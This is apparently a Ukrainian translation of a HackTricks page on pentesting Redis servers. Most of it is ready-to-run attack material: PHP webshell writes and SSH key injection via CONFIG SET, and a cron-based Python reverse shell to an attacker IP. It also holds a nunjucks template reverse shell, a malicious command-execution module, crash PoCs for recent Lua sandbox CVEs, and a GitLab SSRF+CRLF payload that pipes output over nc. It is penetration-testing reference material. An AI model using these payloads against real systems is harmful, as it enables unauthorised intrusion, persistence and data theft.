6379 - Pentesting Redis
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
З the docs: Redis — це open source (BSD licensed), in-memory data structure store, який використовується як database, cache і message broker).
Дізнайтеся, як run Redis with ssl/tls here.
Порт за замовчуванням: 6379
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
Автоматизована енумерація
Деякі автоматизовані інструменти, які можуть допомогти отримати інформацію з екземпляра redis:
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
Ручна енумерація
Банер
Redis — це текстовий протокол, ви можете просто відправити команду в сокет і повернені значення будуть читабельні. Також пам’ятайте, що Redis може працювати з ssl/tls (хоча це доволі рідкісно).
У звичайному екземплярі Redis ви можете підключитися за допомогою nc або використати redis-cli:
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
Перша команда, яку ви можете спробувати, — info. Вона може повернути вивід з інформацією про екземпляр Redis або щось на кшталт наступного:
-NOAUTH Authentication required.
У цьому останньому випадку це означає, що вам потрібні дійсні облікові дані для доступу до екземпляра Redis.
Аутентифікація Redis
За замовчуванням Redis можна отримати доступ без облікових даних. Однак його можна налаштувати, щоб підтримувати тільки password, або username + password.
Можна встановити пароль у файлі redis.conf через параметр requirepass або тимчасово до перезапуску сервісу, підключившись до нього і виконавши: config set requirepass p@ss$12E45.
Також, username можна налаштувати в параметрі masteruser у файлі redis.conf.
Tip
Якщо налаштовано лише password, то використовуваний username — “default”.
Також зауважте, що неможливо зовні дізнатися, чи Redis був налаштований лише з password чи з username+password.
У таких випадках вам потрібно знайти дійсні облікові дані, щоб взаємодіяти з Redis, тому можна спробувати brute-force його.
Якщо ви знайшли дійсні облікові дані, потрібно аутентифікувати сесію після встановлення підключення за допомогою команди:
AUTH <username> <password>
Дійсні облікові дані викличуть відповідь: +OK
Аутентифікована енумерація
Якщо Redis сервер дозволяє анонімні підключення або якщо ви отримали дійсні облікові дані, ви можете ініціювати процес енумерації сервісу, використавши наступні команди:
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
Інші Redis команди can be found here та here.
Зверніть увагу, що команди Redis екземпляра можуть бути перейменовані або видалені у файлі redis.conf. Наприклад, цей рядок видалить команду FLUSHDB:
rename-command FLUSHDB ""
Детальніше про безпечну конфігурацію Redis можна прочитати тут: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
Ви також можете спостерігати в режимі реального часу за виконуваними Redis командами за допомогою команди monitor або отримати топ 25 найповільніших запитів за допомогою slowlog get 25
Знайдіть більше корисної інформації про команди Redis тут: https://lzone.de/cheat-sheet/Redis
Вивантаження бази даних
У Redis бази даних нумеруються від 0. Ви можете дізнатися, чи використовується якась з них, у виводі команди info в секції “Keyspace”:
.png)
Або ви можете просто отримати всі keyspaces (бази даних) за допомогою:
INFO keyspace
У цьому прикладі використовуються database 0 and 1. Database 0 contains 4 keys and database 1 contains 1. За замовчуванням Redis використовує database 0. Щоб зробити dump, наприклад, database 1, потрібно виконати:
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
Якщо ви отримали помилку -WRONGTYPE Operation against a key holding the wrong kind of value під час виконання GET <KEY>, це означає, що ключ може бути не рядком або цілим числом і потребує спеціальної команди для відображення.
Щоб дізнатися тип ключа, використовуйте команду TYPE — приклад нижче для ключів типу list і hash.
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
Створити дамп бази даних за допомогою npm redis-dump або python redis-utils
Redis RCE
Інтерактивний Shell
redis-rogue-server може автоматично отримати interactive shell або reverse shell у Redis(<=5.0.5).
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
PHP Webshell
Інформація з here. Ви повинні знати шлях до папки веб-сайту:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
Якщо виникає виняток при доступі до webshell, ви можете після створення резервної копії очистити базу даних і спробувати ще раз — не забудьте потім відновити базу даних.
Шаблонний Webshell
Як і в попередньому розділі, ви також можете перезаписати деякий html template file, який буде інтерпретований template engine, і отримати shell.
Наприклад, слідуючи this writeup, можна побачити, що атакуючий інжектував rev shell in an html, який інтерпретувався nunjucks template engine:
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
Warning
Зверніть увагу, що декілька рушіїв шаблонів кешують шаблони в пам’яті, тому навіть якщо ви їх перезапишете, новий не буде виконаний. У таких випадках або розробник залишив автоматичне перезавантаження увімкненим, або вам потрібно зробити DoS проти сервісу (і очікувати, що він буде автоматично перезапущений).
SSH
Приклад звідси
Зверніть увагу, що результат config get dir може змінитися після виконання інших ручних команд експлуатації. Рекомендується запускати його одразу після входу в Redis. У виводі config get dir ви можете знайти домашній каталог користувача redis (зазвичай /var/lib/redis або /home/redis/.ssh), і, знаючи це, ви знаєте, куди можна записати файл authenticated_users, щоб отримати доступ по ssh як користувач redis. Якщо ви знаєте домашній каталог іншого дійсного користувача, у якому маєте права на запис, ви також можете зловживати цим:
- Згенеруйте SSH пару ключів на вашому ПК:
ssh-keygen -t rsa - Запишіть публічний ключ у файл:
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt - Імпортуйте файл у redis:
cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key - Збережіть публічний ключ у файл authorized_keys на сервері redis:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
- Нарешті, ви можете підключитися по ssh до сервера redis з приватним ключем: ssh -i id_rsa redis@10.85.0.52
This technique is automated here: https://github.com/Avinash-acid/Redis-Server-Exploit
Додатково, системних користувачів також можна виявити, перевіряючи з config set dir /home/USER, і після підтвердження записати новий authorized_keys у /home/USER/.ssh/authorized_keys. Використовуйте redis-rce-ssh для брутфорсу з wordlist імен користувачів та перезапису authorized_keys.
Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
Останній приклад для Ubuntu, для Centos наведену вище команду слід виконати так: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
Цей метод також можна використовувати для заробітку біткоїнів :yam
Завантаження Redis модуля
- Дотримуючись інструкцій з https://github.com/n0b0dyCN/RedisModules-ExecuteCommand ви можете скомпілювати Redis модуль для виконання довільних команд.
- Потім потрібно якимось чином завантажити скомпільований модуль
- Завантажте завантажений модуль під час виконання за допомогою
MODULE LOAD /path/to/mymodule.so - Перегляньте список завантажених модулів щоб перевірити, що він був правильно завантажений:
MODULE LIST - Виконувати команди:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
- Вивантажте модуль коли забажаєте:
MODULE UNLOAD mymodule
Обхід LUA пісочниці
Here можна побачити, що Redis використовує команду EVAL для виконання Lua коду в пісочниці. У згаданому пості показано, як це зловживати за допомогою функції dofile, але схоже це більше не можливо. У будь‑якому разі, якщо вам вдасться обійти Lua пісочницю, ви зможете виконувати довільні команди на системі. Також у тому ж пості наведено кілька опцій для спричинення DoS.
Деякі CVE для виходу з Lua-пісочниці:
Redis Lua Scripting Engine: Втечі з пісочниці та пошкодження пам’яті (CVE-2025-49844/46817/46818)
Останні релізи Redis виправили кілька проблем в вбудованому Lua-движку, які дозволяли вихід з пісочниці, пошкодження пам’яті і виконання коду між користувачами. Ці техніки застосовні коли:
- Зловмисник може автентифікуватися в Redis і Lua увімкнено (EVAL/EVALSHA або FUNCTION доступні)
- Версія Redis старіша за 8.2.2, 8.0.4, 7.4.6, 7.2.11 або 6.2.20
Порада: Якщо ви новачок у трюках обходу Lua-пісочниці, перегляньте цю сторінку щодо загальних технік:
Контекст рівня патча:
- Виправлено в: 8.2.2, 8.0.4, 7.4.6, 7.2.11, 6.2.20
- Вражає, коли Lua scripting увімкнено і вищезазначені версії не застосовані
CVE-2025-49844 — GC-timed Use-After-Free у парсері Lua (lparser.c: luaY_parser)
- Ідея: спричинити збір сміття (GC), поки парсер все ще посилається на щойно вставлений TString. Коли GC звільнить його, парсер використовує вказівник на вже вивільнену пам’ять (UAF) → крах/DoS і потенційне виконання нативного коду поза Lua-пісочницею.
- Стратегія тригера:
- Створіть тиск на пам’ять за допомогою великих рядків, щоб стимулювати активність GC
- Явно запускати GC, поки великий фрагмент коду компілюється
- Компіліруйте дуже великий Lua-скрипт у циклі, поки GC не співпаде з процесом парсингу
Мінімальний EVAL-харнес для відтворення крахів
# Auth as needed (-a/--user), then run EVAL with 0 keys
redis-cli -h <host> -p 6379 -a <password> EVAL "\
local a = string.rep('asdf', 65536); \
collectgarbage('collect'); \
local src = string.rep('x', 1024 * 1024); \
local f = loadstring(src); \
return 'done'" 0
Примітки:
- Може знадобитися кілька спроб, щоб вирівняти GC з luaY_parser. Крах означає, що UAF було досягнуто.
- Щоб перейти від exploitation до RCE, потрібні memory grooming і native code pivoting поза межами Redis Lua sandbox.
CVE-2025-46817 — Переповнення цілого числа в unpack (lbaselib.c: luaB_unpack)
- Причина: Значення
n = e - i + 1обчислюється без приведення до unsigned, тому крайні індекси обертаються (wrap), змушуючи Lua намагатися розпакувати (unpack) набагато більше елементів, ніж існує → пошкодження стеку і виснаження пам’яті. - PoC (DoS/mem exhaustion):
redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
- Очікуйте, що сервер спробує повернути величезну кількість значень і врешті-решт впаде або вичерпає пам’ять (OOM).
CVE-2025-46818 — Підвищення привілеїв між користувачами через metatables базових типів
- Причина: Під час ініціалізації двигуна metatables для базових типів (наприклад, strings, booleans) не були встановлені як тільки для читання. Будь-який аутентифікований користувач може їх отруїти, щоб додати методи, які інші користувачі згодом можуть викликати.
- Приклад (string metatable poisoning):
# Inject a method on strings and then exercise it
redis-cli -h <host> -p 6379 -a <password> EVAL "\
getmetatable('').__index = function(_, key) \
if key == 'testfunc' then \
return function() return 'testfuncoutput' end \
end \
end; \
return ('teststring').testfunc()" 0
# → Returns: testfuncoutput
- Вплив: Виконання коду між користувачами всередині Lua sandbox із використанням прав Redis жертви. Корисно для lateral movement/priv-esc у контекстах Redis ACL.
Master-Slave Module
Всі операції master Redis автоматично синхронізуються зі slave Redis, що означає, що ми можемо розглядати вразливий Redis як slave, підключений до master Redis, який ми контролюємо; тоді ми можемо відправляти команди на наш власний Redis.
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
SSRF talking to Redis
Якщо ви можете відправити clear text запит до Redis, ви можете спілкуватися з ним, оскільки Redis буде читати запит рядок за рядком і просто відповідатиме помилками на рядки, які він не розуміє:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
Отже, якщо ви знайдете SSRF vuln на вебсайті і зможете контролювати деякі headers (можливо через CRLF vuln) або POST parameters, ви зможете відправляти довільні команди до Redis.
Приклад: Gitlab SSRF + CRLF to Shell
У Gitlab11.4.7 були виявлені SSRF vuln і CRLF vuln. SSRF vuln знаходилась у функціональності import project from URL при створенні нового проекту і дозволяла доступ до довільних IP у формі [0:0:0:0:0:ffff:127.0.0.1] (це звернеться до 127.0.0.1), а CRLF vuln експлуатувалась просто додаванням %0D%0A символів до URL.
Отже, було можливо зловживати цими вразливостями, щоб звертатися до Redis instance, який керує чергами gitlab, і зловживати цими чергами для отримання code execution. The Redis queue abuse payload is:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
А URL encode запит зловживаючи SSRF та CRLF для виконання whoami і відправлення виводу через nc виглядає так:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Z якоїсь причини (як і для автора https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/, звідки була взята ця інформація) експлуатація спрацювала з git-схемою, а не з http-схемою.
Посилання
- Recent Vulnerabilities in Redis Server’s Lua Scripting Engine (OffSec)
- NVD: CVE-2025-49844
- NVD: CVE-2025-46817
- NVD: CVE-2025-46818
- Wiz analysis of Redis RCE (CVE-2025-49844)
- PoC: CVE-2025-49844 — Lua parser UAF
- PoC: CVE-2025-46817 — unpack integer overflow
- PoC: CVE-2025-46818 — basic-type metatable abuse
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

